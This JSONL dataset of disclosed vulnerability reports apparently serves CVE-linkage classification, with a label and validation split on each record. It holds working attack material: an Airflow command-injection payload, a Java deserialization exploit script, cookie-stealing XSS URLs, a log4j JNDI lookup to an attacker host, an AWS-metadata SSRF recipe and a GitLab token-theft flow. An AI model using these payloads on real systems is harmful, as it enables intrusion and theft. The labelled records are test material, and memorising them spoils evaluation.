+{"id": "5ff0da18a5ae526feb21", "text": "[Uncontrolled Resource Consumption] Inviting excessive long email addresses to a calendar event makes the server unresponsive\n\n## Summary:\nDue to the absence of a character limit in the email address field when sending emails, requests containing lengthy email addresses causes the server to get delay response, ultimately resulting in a denial of service.\n\n\n## Steps To Reproduce:\n1. As, a low privileged user, go to https://serveraddress/apps/calendar/dayGridMonth/now and create a new calendar.\n\n{F2480561}\n\n2. Click on Share link, click on share calendar link via email and intercept the request in burp entering a random email.\n\n3. Send the request to repeater and observe the response time. The server will respond in ~600ms.\n\n{F2480573}\n\n{F2480610}\n\n4. Now, use the attached payload of 50 MB (email_recipient.txt) in email and send the response. You will get response in about 10000 milllisecond. Larger the email length, longer will be the reponse time.\n\n\n\n{F2480615}\n\n[Note: you may use the following python script and payload attached below. POC attached :) ]\n\n## Impact\n\nDenial of service", "source": "hackerone", "timestamp": "2023-10-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "d8c89976e833ca1fe231", "text": "[Command Injection - Generic] CVE-2022-38362: Apache Airflow Docker Provider <3.0 RCE vulnerability in example dag\n\nApache Airflow Docker's Provider shipped with an example DAG that was vulnerable to (authenticated) remote code exploit of code on the Airflow worker host.\n\n##Vulnerability summary:\nIn DAG script of airflow 2.3.3, there is a command injection vulnerability (RCE) in the script (example_docker_copy_data.py of docker provider), which can obtain the permission of the operating system. \n\nsource path: \nairflow-2.3.3/airflow/providers/docker/example_dags/example_docker_copy_data.py\n\n##Vulnerability details：\n(1) Vulnerability principle：\n1. It can be seen from the source code of  example_docker_copy_data.py script that there is the function of executing bash command, The parameter ‘source_location’ in the template expression {{params.source_location}} is externally controllable and rendered through the jiaja2 template: \n\n{F1869746}\n\n2. Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;\n\n{F1869748}\n\n(2)Vulnerability exploit：\n1. Enter the DAGs menu and start docker_sample_copy_data task, select “Trigger DAG w/ config”. \n\nhttp://192.168.3.17:8080/trigger?dag_id=docker_sample_copy_data\n\n{F1869749}\n\n2. To construct payload, we can separate commands with ‘;’, so as to inject any operating system commands to be executed(RCE).\n\n{F1869750}\n\nPAYLOAD：```{\"source_location\":\";touch /tmp/thisistest;\"}```, Then click trigger to execute the task.\n\n{F1869755}\n\nThe final command is as follows:\n```locate_file_cmd = “”” sleep 10\nfind ;touch /tmp/thisistest; -type f -printf “%f\\n” | head -1\n“””\n```\n\nThrough the log and server view, it can be seen that arbitrary command has been executed successfully.\n\n{F1869756}\n\n{F1869757}\n\n## Impact\n\nAn attacker can execute arbitrary commands on the airflow host.", "source": "hackerone", "timestamp": "2022-09-23", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "74b176a166a39eed9b76", "text": "[Unknown] CVE-2017-5929: Hyperledger - Arbitrary Deserialization of Untrusted Data\n\n## Vulnerability Overview\nSerialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.\n\nDeserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution. Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.\n\nAn attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed. Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).\n\n**System Host(s):**\nhttps://github.com/hyperledger/fabric-chaincode-java/blob/-/fabric-chaincode-integration-test/src/contracts/wrapper-maven/pom.xml\nQOS.ch Logback before 1.2.0 has a serialization vulnerability affecting the SocketServer and ServerSocketReceiver components. The RemoteStreamAppenderClient class in logback-classic and the SocketNode classes in logback-classic and logback-access allow data to be deserialized over a Java Socket, via an ObjectInputStream, without validating the data beforehand. When data is received from the Socket, to be logged, it is deserialized into Java objects.An attacker can exploit this vulnerability by sending malicious, serialized Java objects over the connection to the Socket, which may result in execution of arbitrary code when those objects are deserialized. Note that although logback-core is implicated by the Logback project here, the Sonatype Security Research team discovered that the vulnerability is actually present in the logback-classic and logback-access components. Versions prior to 1.2.0 are vulnerable, as stated in the advisory.\n\n**Exploitation code:**\n```python\nimport socket\nimport sys\n\nhost = sys.argv[1]\nport = sys.argv[2]\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nprint \"Connecting to: \" + host + \":\" + port\nsock.connect((host, int(port)))\nprint \"Connected.\"\n\npayload = '\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x2e\\x6a\\x61\\x76\\x61\\x78\\x2e\\x6d\\x61\\x6e\\x61\\x67\\x65\\x6d\\x65\\x6e\\x74\\x2e\\x42\\x61\\x64\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x56\\x61\\x6c\\x75\\x65\\x45\\x78\\x70\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\xd4\\xe7\\xda\\xab\\x63\\x2d\\x46\\x40\\x02\\x00\\x01\\x4c\\x00\\x03\\x76\\x61\\x6c\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x63\\x74\\x3b\\x78\\x72\\x00\\x13\\x6a\\x61\\x76\\x61", "source": "hackerone", "timestamp": "2022-10-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "d6027174ef2e2111dfc7", "text": "[Uncontrolled Resource Consumption] ReDoS( Ruby, Time)\n\nI reported at https://hackerone.com/reports/1485501\n\nhttps://www.ruby-lang.org/en/news/2023/03/30/redos-in-time-cve-2023-28756/\n> The Time parser mishandles invalid strings that have specific characters. It causes an increase in execution time for parsing strings to Time objects.\n> A ReDoS issue was discovered in the Time gem 0.1.0 and 0.2.1 and Time library of Ruby 2.7.7.\n\n## Impact\n\nReDoS occurs when `Time.rfc2822` accepts user input.\n\nIn `Rack::ConditionalGet`, the header value is parsed by `Time.rfc2822`,  it is possible to attack from the request.\nRails uses `::Rack::ConditionalGet` by default, it can be attacked by a request from the client.", "source": "hackerone", "timestamp": "2023-04-26", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "4416d543086e7d7f92af", "text": "[Business Logic Errors] Response Manipulation lead to bypass verification code while making appointment at `█████████`\n\n## Steps To Reproduce:\n\n1. Go to this URL https://www.███/visit-information/schedule-appointment/\n2. Make an appointment\n3. Choose send verification code to email\n4. Enter random code \n5. Intercept the request using burp\n4. Click do intercept response and forward\n5. Change false to true\n\n## Impact\n\nbypass verification code", "source": "hackerone", "timestamp": "2023-08-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "c5db390efafaadb2036b", "text": "[Server-Side Request Forgery (SSRF)] Full read SSRF at █████████ [HtUS]\n\nHeyy there,\nWe have found a full read ssrf vuln in https://█████ , we were able to hit the AWS Metadata endpoint (http://███████) though the SSRF Vuln.\n\n\n------------\n\n**Steps to reproduce:**\n\n1.Goto https://██████/users/create and create an account\n2.After you account is verified , get login\nIf for some reasons you are not the verification code, try with a gmail id\n\n3.Now visit: https://████/products/create/   and fill the required details\n4.Once your product is created, click on `New Configuration` which is under *LRS Configurations*\n\n████████\n\n5.Enter this as the input for * LRS URL *: `http://█████████/latest/meta-data?` (the question mark at the end is important)\n6.Under *Basic Auth User & Pass* enter test for both fields and click on `Create new LRS configuration` \n\n█████\n\n7.Once the `Configuration` is created click on the `Test` button beside the conifguration name\n████\n8.Now you will be redirected to the homepage, so go back to the product page\n9.Under `Past Results` you should be able to see a new entry\n10.Click on `Manage Test record` > `Download log`\n11.Now check the `Include HTTP` checkbox and from the `Log Format` drop down menu choose *Plain text*\n\nA file with the name `log` should be downloaded in your computer, just open it and there you will find the response from the aws meta data endpoint:\n\n```\n\n\"\"\nfailed\n\"SyntaxError: Unexpected token a in JSON at position 0\"\nREQUEST SUPERREQUEST\n_______________________________________\nPOST /latest/meta-data?/statements HTTP/1.1\nX-Experience-API-Version: 1.0.3\nAuthorization: Basic dGVzdDp0ZXN0\nhost: ██████████\naccept: application/json\ncontent-type: application/json\ncontent-length: 324\nConnection: close\n\n{\"actor\":{\"objectType\":\"Agent\",\"name\":\"xAPI mbox\",\"mbox\":\"mailto:████\"},\"verb\":{\"id\":\"http://███\",\"display\":{\"en-GB\":\"attended\",\"en-US\":\"attended\"}},\"object\":{\"objectType\":\"Activity\",\"id\":\"http://www.example.com/meetings/occurances/34534\"},\"id\":\"3b9e4565-07ac-475f-be1f-d5f590f40779\"}\n\nRESPONSE SUPERREQUEST\n_______________________________________\nHTTP/1.0 200 OK\naccept-ranges: bytes\ncontent-length: 326\ncontent-type: text/plain\ndate: Wed, 06 Jul 2022 13:48:12 GMT\nlast-modified: Thu, 30 Jun 2022 09:37:12 GMT\nconnection: close\nserver: EC2ws\n\nami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nevents/\nhibernation/\nhostname\nidentity-credentials/\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\nprofile\npublic-hostname\npublic-ipv4\npublic-keys/\nreservation-id\nsecurity-groups\nservices/\n=======================================\nREQUEST SUPERREQUEST\n_______________________________________\nGET /latest/meta-data?/statements?statementId=3b9e4565-07ac-475f-be1f-d5f590f40779 HTTP/1.1\nX-Experience-API-Version: 1.0.3\nAuthorization: Basic dGVzdDp0ZXN0\nhost: ██████\nConnection: close\n\nRESPONSE SUPERREQUEST\n_______________________________________\nHTTP/1.0 200 OK\naccept-ranges: bytes\ncontent-length: 326\ncontent-type: text/plain\ndate: Wed, 06 Jul 2022 13:48:12 GMT\nlast-modified: Thu, 30 Jun 2022 09:37:12 GMT\nconnection: close\nserver: EC2ws\n\nami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nevents/\nhibernation/\nhostname\nidentity-credentials/\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\nprofile\npublic-hostname\npublic-ipv4\npublic-keys/\nreservation-id\nsecurity-groups\nservices/\n=======================================\n\n```\n\n## Impact\n\nAn attacker can dump aws keys  , reach internal hosts and etc\n\n\nThankyou\nRegards\nheint and sudi", "source": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "a45b1043f0434fa1154a", "text": "[Unknown] A vulnerability classified as critical has been found in gsi-openssh-server 7.9p1 on Fedora (Connectivity Software) on server (http://95.217.64.181:22\n\n## Summary:\n\" hello \"\nvulnerability:\nGSI-OPENSSH-SERVER 7.9P1 ON FEDORA /ETC/GSISSH/SSHD_CONFIG CREDENTIALS MANAGEMENT\nDescription of problem:\nA vulnerability classified as critical has been found in gsi-openssh-server 7.9p1 on Fedora (Connectivity Software) on server (http://95.217.64.181:22). This affects some unknown functionality of the file /etc/gsissh/sshd_config. The manipulation with an unknown input leads to a privilege escalation vulnerability. CWE is classifying the issue as CWE-255. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:\n\nAn issue was discovered in gsi-openssh-server 7.9p1 on Fedora 29. If PermitPAMUserChange is set to yes in the /etc/gsissh/sshd_config file, logins succeed with a valid username and an incorrect password, even though a failure entry is recorded in the /var/log/messages file.\nThe bug was discovered 02/08/2019. The weakness was released 02/08/2019. This vulnerability is uniquely identified as CVE-2019-7639 since 02/08/2019. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details of the vulnerability are known, but there is no available exploit. The attack technique deployed by this issue is T1552 according to MITRE ATT&CK.\n\n\nIf PermitPAMUserChange is set to yes in the sshd_config for gsi-openssh-server, anyone is allowed to login to the system with existing user even if they provide incorrect password\n\nVersion-Release number of selected component (if applicable): 7.9p1\n\nHow reproducible:\nAlways\n\nSteps to Reproduce:\n1. Install gsi-openssh-server\n2. Initialize rsa, ecdsa, ed25519 keys for gsi-openssh server using gsissh-keygen\n2. Set PermitPAMUserChange to yes in /etc/gsissh/sshd_config\n3. Run /usr/sbin/gsisshd\n4. Try to connect to the system using Putty with user \"root\" and some incorrect password like \"test1234\" (The actual password for root on the test system was root1234)\n\nActual results:\nUser gets logged in even though there is a failure entry in /var/log/messages for user authentication\n\n\nExpected results:\nUser should not be able to login unless he provides the correct password\n\nAdditional info:\nits possible that earlier versions might also be vulnerable.\n\n\nhttps://nvd.nist.gov/vuln/detail/CVE-2019-7639\n\n## Impact\n\nThis is going to have an impact on confidentiality, integrity, and availability", "source": "hackerone", "timestamp": "2022-12-10", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "6a7f45f9f318977162a7", "text": "[Unknown] Rack CVE-2022-30122: Denial of Service Vulnerability in Rack Multipart Parsing\n\nReDoS in `Rack::Multipart::BROKEN_QUOTED` and `Rack::Multipart::BROKEN_UNQUOTED`.\n\n\nhttps://groups.google.com/g/ruby-security-ann/c/L2Axto442qk\n> Carefully crafted multipart POST requests can cause Rack's multipart parser to take much longer than expected, leading to a possible denial of service vulnerability.\n\n## Impact\n\nWhen the client sends a specially crafted header, it occur ReDoS on the server side.\nServers that interpret Post data by default, like Rails, are affected.", "source": "hackerone", "timestamp": "2022-07-23", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "c5006b0db4f277240efd", "text": "[Cross-site Scripting (XSS) - Reflected] XSS in ServiceNow logout https://████:443\n\n**Description:**\nXSS in ServiceNow logout \nhttps://██████:443/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)\n## References\nhttps://nvd.nist.gov/vuln/detail/CVE-2022-38463\n\n## Impact\n\nUnauthenticated remote attacker can execute code in user's browser context.  User must click on malicious link\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\nServicenow prior to SanDiego SP6\n\n## CVE Numbers\nCVE-2022-38463\n\n## Steps to Reproduce\nClick on https://█████:443/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)\n\n## Suggested Mitigation/Remediation Actions\nUpgrade to patched version of ServiceNow", "source": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "555f8d8c5d72ae720621", "text": "SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x Authorization Bypass (IDOR)\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2022-12-14", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3c9e7caaf42f08eaa3f9", "text": "[Business Logic Errors] Attacker shall recieve order updates on whatsapp for users who have activated whatsapp notification\n\nH\n\nSummary:\n1. Order ID are IDOR ( Insecure Direct Object Reference )\n2. When users activated whats app notification an attacker would start receiving the notification without user interaction about their order.\n\nProof Of Concept:-\n\nWhen an user order on a restaurant he/she can start whatsapp notification on their order.\n\n██████████\n\nSteps to Reproduce:-\n\n1. When the user activates whats app notification by sending the message with order id. His order notification's vulnerable.\n\n2. Now the attacker sends the message with above vulnerable order id ( Order id is IDOR - eg:15625383 )\n\n3. He will get the error notification, though he will start receiving the updates.\n\n{F1670097}\n\n3.1 the updates would be\n3.1.1 delivery partner assigned.\n3.1.2 when he will reach\n3.1.2 once he delivered the order.\n\n## Impact\n\nbusiness logic error.", "source": "hackerone", "timestamp": "2022-04-06", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "1f0fdde00633c9bd0ccf", "text": "[Code Injection] Ingress-nginx annotation injection allows retrieval of ingress-nginx serviceaccount token and secrets across all namespaces\n\nI submitted the following report to security@kubernetes.io:\n> I've been exploring CVE-2021-25742 and believe I've discovered a variant (although it appears there may be many). Most template variables are not escaped properly in `nginx.tmpl`, leading to injection of arbitrary nginx directives. For example, the `nginx.ingress.kubernetes.io/connection-proxy-header` annotation is not validated/escaped and is inserted directly into the `nginx.conf` file.\n>\n> An attacker in a multi-tenant cluster with permission to create/modify ingresses can inject content into the connection-proxy-header annotation and read arbitrary files from the ingress controller (including the service account).\n>\n> I've created a secret gist demonstrating the issue against ingress-nginx v1.0.4: https://gist.github.com/amlweems/1cb7e96dca8ada8aee8dc019d4163f2c\n\n## Impact\n\nAn attacker with permission to create/modify ingresses in one namespace can inject content into the connection-proxy-header annotation and read arbitrary files from the ingress controller (including the service account). This service account has permission to read secrets in all namespaces.", "source": "hackerone", "timestamp": "2022-08-13", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "cc92341925df7a611f58", "text": "[Use of Externally-Controlled Format String] ██████████ running a vulnerable log4j\n\n**Description:**\n\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228\n\n## Impact\n\nProbably arbitrary code execution\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-44228\n\n## Steps to Reproduce\n1. Browse to https://████████/███████https%3A%2F%2F█████████%2F\n2. Enter a `${jndi:ldap://dns-server-yoi-control/a}` into the username field\n3. Enter a random password\n4. Submit\n\nObserve that a request was made to your DNS server. This strongly suggests a vulnerable log4j.\n\n## Suggested Mitigation/Remediation Actions\nUpdate log4j or disable jndi support.", "source": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "2e1720baf5e5d63d2a68", "text": "OpenBMCS 2.4 Authenticated SQL Injection\n\nSeverity: high", "source": "zeroscience", "timestamp": "2022-01-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "5dfed4c319c627108a7f", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at ████████\n\nThe domain █████████ have dochelper where the user id is submitted.\nWe can submit the crafted XSS payload to pop the alert message by accesing the cookie.\n\nPOC URL: \n```\nhttps://████/dochelper?userId=</b><script>alert(document.cookie)</script><b><!-- \n```\n\n█████\n\n## References\nCVE-2016-5682\nhttps://portswigger.net/web-security/cross-site-scripting\nhttps://www.bugbountyhunter.com/vulnerability/?type=xss\n\n## Impact\n\n*   As an attacker, I can Steal the cookie of the User, by sending a crafted mail to them.\n*   Victim's Account can be compramised\n*    Impersonate or masquerade as the victim user.\n*    Carry out any action that the user is able to perform.\n*    Read any data that the user is able to access.\n*    Capture the user's login credentials.\n*    Perform virtual defacement of the web site.\n*    Inject trojan functionality into the web site.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2016-5682\n\n## Steps to Reproduce\n1. Visit https://████████/dochelper?userId=\n2. Put a crafetd XSS payload to the userId parameter. (</b><script>alert(document.cookie)</script><b><!--)\n3. Open the link in the browser\n\n## Suggested Mitigation/Remediation Actions\n1. Filter input on arrival\n2. Encode data on output.", "source": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "144a3af284646a972b01", "text": "[Information Disclosure] xmlrpc file enabled\n\n## Summary:\n\nHello team,\nI have found a security vulnerability in ** restaurants.yelp.com/xmlrpc.php** which lets attacker to:\n1: XSPA or PortScan\n2: Bruteforce\n3:DOS and much more\n## Platform(s) Affected:\n  https://restaurants.yelp.com\n\n## Steps To Reproduce:\n1: Go to https://restaurants.yelp.com/xmlrpc.php to check if it is enabled or not. so the server altought respons with 403 error but the xmplrpc is enabled just the error because The following request requires permissions for some Boths.\n\n## Supporting Material/References:\n         Reference:\nhttps://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32\nhttps://medium.com/@protector47/how-to-hack-wordpress-website-via-xmlrpc-php-61c813fa3740\nhttps://hackerone.com/reports/325040?fbclid=IwAR0qgG-Xfzfi8epruslb_aB91f-Nj8DitF0su8O9ibFKSFdvefJ8h_qWNyc\nhttps://hackerone.com/reports/752073?fbclid=IwAR2i3AM4woHlr01MvyJR-Vu485XQg_gxb1doWmAhSBTfxPK9cUSRFxO2iFo\n\n## Impact\n\nThis method is also used for brute force attacks to stealing the admin credentials and other important credentials\nThis can be automated from multiple hosts and be used to cause a mass DDOS attack on the victim.", "source": "hackerone", "timestamp": "2022-06-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "8717b18b7129d6d93013", "text": "[Improper Authentication - Generic] Security Issue into Wallet lock protection\n\n# Description\n\nWhile testing wallet extension i generally try to test multiple endpoints, so 2 tabs were open of wallet on chrome-extension://ldinpeekobnhjjdofggfgjlcehhmanlj/popup.html\n\n\nSo i tried to lock Wallet extension buti found that i can still use browser in 2nd tab, why i had already locked wallet,\n\n\nSo there is a security issue where wallet is not properly encrypted after user press lock\n\nWallet should close all open tabs of wallets and encrypt data for all tabs, It's very insecure way of password protection or lock protection\n\n\n# Steps To reproduce\n\nTo understand clearly i had created a POC video \n{F2061644}\n\n1. Open two tabs of chrome-extension://ldinpeekobnhjjdofggfgjlcehhmanlj/popup.html\n2. lock wallet in any of 1 tab and you can see you can access wallet on other tab and still able to do transaction as shown in POC{F2061648}\n\n\n# HOW to fix?\n\nEdit code and make sure when user click on lock wallet wallet should encrypt data in all tabs or close rest of the tabs to protect user and make lock protection work more securely\n\nThank you\n\n## Impact\n\nThis is totally fail of lock protection AND attacker can use this vulnerability to craft custom attacks", "source": "hackerone", "timestamp": "2023-01-11", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3ca832376f33be026452", "text": "[Improper Following of a Certificate's Chain of Trust] Node.js Certificate Verification Bypass via String Injection\n\nThis is a report on behalf of Google, who did not want to report through H1.\n\n---\n\n**Summary**\nNode’s APIs for reporting certificate fields are ambiguous and allow bypassing certificate verification in some circumstances.\n\n**Details**\nIn light of CVE-2021-3712, I’ve been looking at code which misuses OpenSSL’s printing functions. Node’s use will cause it to misparse certificates, and, I believe, allows certificate verification bypasses in some circumstances, such as a name-constrained intermediate. It’s also just a generally unsafe pattern.\n\nFor background, the OpenSSL utility has options like openssl x509 -text which output some human-readable text representation of the certificate. This gives output like:\n\n```\nX509v3 Subject Alternative Name:  \n  DNS:*.nodejs.org, DNS:nodejs.org\n```\n\nCertificates are not text. They use a structured binary encoding, called DER. Fields may contain commas, spaces, or any other byte. The text representation is just an ad-hoc diagnostic output by OpenSSL. It has no well-defined grammar and does not even escape characters, so the output is ambiguous. It should not be parsed.\n\nOpenSSL has functions for the text format in the library itself. These are X509_print, i2v_GENERAL_NAME, X509V3_EXT_val_prn, X509V3_EXT_print, and others. But, these are still for diagnostics, not a well-defined serialization of the certificate.\n\nUnfortunately, it looks like Node tries to parse this output to interpret the certificate itself:\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/src/crypto/crypto_x509.cc#L219\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/src/crypto/crypto_x509.cc#L229\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/src/crypto/crypto_common.h#L162\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/src/crypto/crypto_common.cc#L678\n(Despite the name, SafeX509ExtPrint is not safe.)\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/lib/_tls_common.js#L133\nhttps://github.com/nodejs/node/blob/95834d11a23b224f1abcc71a868d3cade4763717/lib/tls.js#L239\n\nThe last instance is especially concerning. If a certificate is issued for, say, \"nodejs.org, DNS:blah.attacker.example\", certificate issuance or verification may reason, “this has .attacker.example as a suffix, which you own, so this certificate is fine”. Meanwhile, Node sees a text output of \"DNS:nodejs.org, DNS:blah.attacker.example\" and misinterprets it as two names, one of which is nodejs.org. Concretely, this may happen if a CA issues a name-constrained intermediate certificate to attacker.example. OpenSSL performs the name constraint check against the correct parse, then Node misinterprets the certificate and bypasses the name constraint.\n\nThis is similar to the old null prefix attack from 11 years ago. Other SAN types may also be injection vectors.\n\nAdditionally, as this is not the intended use, OpenSSL’s print functions receive less attention than other parts of their X.509 stack. Indeed not mentioned in the CVE-2021-3712 advisory is that the print functions silently truncated their outputs on interior NUL bytes. That makes uses like Node’s vulnerable to exactly the old null prefix attack from 11 years ago. (The GEN_DNS special case in SafeX509ExtPrint avoids it for DNS SANs, but other SAN types are still truncated.)\n\nInstead, Node should look at the GENERAL_NAME, etc., structure, which will give you the actual fields unambiguously, or call into the high-level OpenSSL functions that check hostnames.\n\n**Recommendations**\nThis is part of Node’s public API, so the fix may be tricky. Here is a rough roadmap:\n\nFirst, change the private C++/JavaScript interface for subjectaltname and infoAccess from OpenSSL print functions to structured JavaScript objects. Walk the actual structs, rather than using the print functions. I can help review this, as may not be obvious what fields you need, or what che", "source": "hackerone", "timestamp": "2022-02-10", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "b6af5bdebcbf7b48fdd3", "text": "OpenBMCS 2.4 CSRF Send E-mail\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2022-01-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "53fc9202a1cf9725b6af", "text": "[Improper Authorization] Gitlab Pages token theft using service workers\n\n### Summary\nIt is possible to steal Gitlab Pages session tokens by intercepting requests to the `/auth` endpoint on a Pages site using service workers. \n\n### Attack Flow\n**Setup**\n1. The attacker creates a private Gitlab Pages site at the root of their user page `attacker.gitlab.io`, ensuring that the project is `private to collaborators` for Gitlab Pages visibility. \n2. The attacker invites the victim to collaborate to the project, thus giving them access to the private Pages site.\n3. The victim clicks on a link to `attacker.gitlab.io`, and a service worker is registered for the domain, passing through all requests back to the server except the `/auth` endpoint, which it intercepts.\n\n**Bypassing the CSRF protection (OAuth2 `state` param)**\n4. A script on the website requests a valid session cookie and redirection URL from an attacker controlled website.\n5. The attacker controlled website sends its own request to `attacker.gitlab.io`, and retrieves a redirection URL and a session cookie.\n6. A script on the website redirects the victim to the redirection URL retrieved by the attacker, and the user authenticates (since the user is already logged in, this does not require any kind of interaction)\n\n**Intercepting the OAuth2 Response**\n7. The OAuth2 service redirects the user back to `attacker.gitlab.io/auth` with the code and state, which is intercepted by the attacker's service worker and sent to the attacker controlled website.\n8. The attacker controlled website sends a request to the auth endpoint with the original session cookie and the intercepted code and state to obtain an authenticated session cookie.\n9. The attacker can use this cookie to access other GitLab Pages sites that the victim has access to.\n\n### Steps to reproduce\n1. Create an attacker account and victim account. The victim account should have access to a private GitLab Pages site that the attacker does not have access to.\n2. Start the attacker controlled server (ensure that it is on a remote server with HTTPS)\n3. Import the Proof of Concept repository into the attacker's account, rename it to `{attacker username}.gitlab.io` and change the attacker server to the server deployed in step 2.\n4. Invite the victim to collaborate on the `{attacker username}.gitlab.io` project.\n5. While logged into the victim account, visit `{attacker username}.gitlab.io`.\n6. The attacker controlled server will output a valid `gitlab-pages` session cookie, which can be inserted into a browser or curl command (`curl -v --cookie '{cookie}' https://{victim username}.gitlab.io/{private Gitlab Pages project}`) to gain access to the private Gitlab Pages project on the victim's account.\n\n### Examples\n\n**Proof of Concept:**\n\nPages Project export: F1565711\nPages Project on gitlab.com: https://gitlab.com/dotchinavideo/dotchinavideo.gitlab.io\nAttacker controlled server: F1565227 (requires `flask` and `flask-cors` installed, outputs the stolen token to stdout)\n\n### What is the current *bug* behavior?\nThe current behavior is that `gitlab-pages` session cookies are not properly validated to ensure that the requested subdomain is the same as the subdomain to which the session cookie was issued for.\n\n### What is the expected *correct* behavior?\nThe expected behavior is for each `gitlab-pages` session cookie be validated to prevent cross-subdomain usage.\n\n### Relevant logs and/or screenshots\nF1565251\n\n### Output of checks\nThis bug happens on GitLab.com\n\n#### Results of GitLab environment info\nThis bug happens on GitLab.com\n\n## Impact\n\nOnce an attacker has a valid Pages session token, they are able to access every private Gitlab Pages site that the victim has access to.", "source": "hackerone", "timestamp": "2022-06-08", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "8a5ee781ae8ae7251904", "text": "[Deserialization of Untrusted Data] Deserialization of potentially malicious data to RCE\n\nHello, Django Team! It's my first time working with you, hope it will be great!\nNote: I have not seen this issue neither in known vulnerabilities nor in documentation, so here I am.\n\n## Summary\nSeveral type of caches in https://github.com/django/django/tree/main/django/core/cache/backends use python `pickle` which may result in RCE (basically privilege escalation) in case attacker will takeover a machine/container with cache.\nSo, 4 types of cache use `pickle.load` directly or under the hood:\n1. Locmem - I don't consider it as a big issue, because locmem uses some random part of memory for cache taken by Python while the server runs + it is unlikely to be used in production.\n2. Filebased - I don't consider it as an issue, because if you control the file with cache, it is likely that you control the machine where Django runs + this behaviour is mentioned in the documentation (https://docs.djangoproject.com/en/3.2/topics/cache/):\n```\nAn attacker who gains access to the cache file can not only falsify HTML content, which your site will trust, but also remotely execute arbitrary code, as the data is serialized using pickle.\n```\n3. Database - this time I consider this as an issue, because a Django app and db are pretty likely running on different machines/containers. So in case attacker gains access to db, a door to privilege escalation via RCE on other machine is open.\n4. Redis - though it was not released yet, it's already supported in dev version from source. Same thoughts here - Redis is likely to run in a separated environment.\n\n## PoC, steps to reproduce:\nI'm providing it for a db based cache, as Redis support is not officially released yet if I'm not mistaking\nFor an 